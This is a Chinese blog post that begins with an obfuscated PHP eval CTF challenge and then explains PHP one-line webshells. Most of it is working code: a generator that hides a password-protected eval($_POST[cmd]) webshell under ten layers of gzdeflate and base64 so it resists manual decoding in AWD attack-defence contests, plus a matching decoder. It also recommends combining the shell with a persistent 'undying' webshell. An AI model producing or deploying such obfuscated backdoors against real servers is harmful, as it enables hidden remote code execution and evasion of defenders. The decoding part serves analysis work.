刷nctf偶然刷到一道题,感觉还挺有意思的。
题目如下:
<?phpfunction CLsI($ZzvSWE) {$ZzvSWE = gzinflate(base64_decode($ZzvSWE));for ($i = 0; $i < strlen($ZzvSWE); $i++) {$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);}return $ZzvSWE;}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>
题解很简单,直接把eval改为echo即可。
有意思的是PHP一句话加解密方式,使用base64和gzinflate。gzinflate是PHP解压缩函数,与压缩函数gzdeflate对应,具有相同功能的函数还有: gzcompress/gzuncompress, gzencode/gzdecode,注意,gzencode函数要求PHP版本>5.4,需要注意兼容性问题。
如果在平常遇到这种一句话木马, 要解密并不困难,无论是网上找脚本还是直接在线解密都可以,但是如果放在没有网络的AWD对抗上的话,尤其是没有做好流量日志记录的对手,要解密就要花一番功夫了。
<?php eval(gzinflate(base64_decode("DdNFjuNYAADQq7R6VaW/")));?>
这里写了一个加密脚本,可以更改加密轮数,这里是10次(轮数设置较大以防止手工解密)。
<?php// 一句话加密function one_word_encode($pass){$code='?><?php if(md5($_POST[pass])=="'.md5($pass).'") {eval($_POST[cmd]);}?>';for($i=1;$i<10;$i++){$code='?><?php eval(gzinflate(base64_decode("'.base64_encode(gzdeflate($code)).'")));?>';}return base64_encode(gzdeflate($code));}echo one_word_encode("hello");?>
再配合对pass进行md5加密,进一步提升破解难度(当然在有网络的情况下另当别论)。
解密脚本如下,当然也可以访问 https://decode.cnxct.com/ 进行在线解密。
<?php// 解密: https://decode.cnxct.com/function one_word_decode($code){$code=gzinflate(base64_decode($code));while(strpos($code,"POST")==false){// 截取base64字符串继续解密preg_match('/\"\S+\"/',$code,$code);$code=substr($code[0],1,strlen($code[0])-2);$code=gzinflate(base64_decode($code));}echo htmlentities($code);}one_word_decode(base64_str);?>
配合不死马使用恶心人效果更佳。
eval函数中的语句一定要加分号,注意$转义 _GET,_POST的参数有没有单引号双引号都可以 蚁剑貌似不支持GET一句话 eval函数可以暂且理解为在语句前后加<?php和?>,实际情况比这复杂的多
Reference articles:
http://byd.dropsec.xyz/2017/06/05/渗透测试小技巧之过waf木马/utm_source=tuicool&utm_medium=referral https://www.cnxct.com/eval、gzinflate、-base64_decode三函数加密的代码在线解密/ https://my.oschina.net/programs/blog/1649544
